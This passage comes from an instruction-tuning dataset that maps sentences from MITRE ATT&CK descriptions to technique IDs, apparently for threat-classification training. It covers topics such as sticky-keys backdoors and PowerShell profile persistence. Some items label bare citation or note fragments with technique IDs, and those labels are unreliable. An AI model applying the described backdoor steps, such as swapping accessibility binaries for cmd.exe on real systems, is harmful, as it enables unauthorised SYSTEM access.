MITRE techniques contained in the text. ### Input: Adversaries may search various public code repositories for various information about a victim. ### Response: T1593.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Public code repositories can often be a source of various general information about victims, such as commonly used programming languages and libraries as well as the names of employees.", "output": "T1593.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Public code repositories can often be a source of various general information about victims, such as commonly used programming languages and libraries as well as the names of employees. ### Response: T1593.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also identify more sensitive data, including accidentally leaked credentials or API keys.(Citation: GitHub Cloud Service Credentials) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).", "output": "T1593.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also identify more sensitive data, including accidentally leaked credentials or API keys.(Citation: GitHub Cloud Service Credentials) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)). ### Response: T1593.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**Note:**", "output": "T1593.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **Note:** ### Response: T1593.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1213/003), which focuses on [Collection](https://attack.mitre.org/tactics/TA0009) from private and internally hosted code repositories.", "output": "T1593.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1213/003), which focuses on [Collection](https://attack.mitre.org/tactics/TA0009) from private and internally hosted code repositories. ### Response: T1593.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "How the operating system locates libraries to be used by a program can also be intercepted.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: How the operating system locates libraries to be used by a program can also be intercepted. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer.", "output": "T1574.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. ### Response: T1574.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These processes may automatically execute specific binaries as part of their functionality or to perform other actions.", "output": "T1574.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These processes may automatically execute specific binaries as part of their functionality or to perform other actions. ### Response: T1574.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process.", "output": "T1574.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. ### Response: T1574.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.", "output": "T1574.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM. ### Response: T1574.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers.", "output": "T1574.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. ### Response: T1574.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads.", "output": "T1574.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. ### Response: T1574.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process.", "output": "T1574.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. ### Response: T1574.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).", "output": "T1574.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001). ### Response: T1574.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level.", "output": "T1574.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. ### Response: T1574.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code.", "output": "T1574.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. ### Response: T1574.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002).", "output": "T1574.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). ### Response: T1574.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)", "output": "T1574.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) ### Response: T1574.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.", "output": "T1574.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence. ### Response: T1574.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft DART Case Report 001)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft DART Case Report 001) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware Persistence on OS X)(Citation: amnesia malware)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware Persistence on OS X)(Citation: amnesia malware) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features.", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen).", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system. ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Two common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed.", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Two common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed. ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen.", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Hikit Rootkit)", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Hikit Rootkit) ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the version of Windows, an adversary may take advantage of these features in different ways.", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the version of Windows, an adversary may take advantage of these features in different ways. ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry.", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP).", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: DEFCON2016 Sticky Keys)", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: DEFCON2016 Sticky Keys) ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access).", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges.", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Tilbury 2014)", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Tilbury 2014) ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n*", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n* ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n*", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n* ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code>\n*", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code>\n* ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n*", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n* ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n* App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code>", "output": "T1546.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n* App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code> ### Response: T1546.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles.", "output": "T1504", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. ### Response: T1504."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments.", "output": "T1504", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. ### Response: T1504."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PowerShell supports several profiles depending on the user or host program.", "output": "T1504", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PowerShell supports several profiles depending on the user or host program. ### Response: T1504."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code.", "output": "T1504", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. ### Response: T1504."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An administrator can also configure a profile that applies to all users and host programs on the local computer.", "output": "T1504", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An administrator can also configure a profile that applies to all users and host programs on the local computer. ### Response: T1504."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft About Profiles)", "output": "T1504", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft About Profiles) ### Response: T1504."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence.", "output": "T1504", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. ### Response: T1504."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Every time a user opens a PowerShell session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched.", "output": "T1504", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Every time a user opens a PowerShell session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. ### Response: T1504."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: ESET Turla PowerShell May 2019)", "output": "T1504", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: ESET Turla PowerShell May 2019) ### Response: T1504."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator.", "output": "T1504", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. ### Response: T1504."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Wits End and Shady PowerShell Profiles)", "output": "T1504", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wits End and Shady PowerShell Profiles) ### Response: T1504."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe).", "output": "T1198", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). ### Response: T1198."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature.", "output": "T1198", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. ### Response: T1198."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files.", "output": "T1198", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. ### Response: T1198."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures.", "output": "T1198", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. ### Response: T1198."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs).", "output": "T1198", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). ### Response: T1198."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system.", "output": "T1198", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed 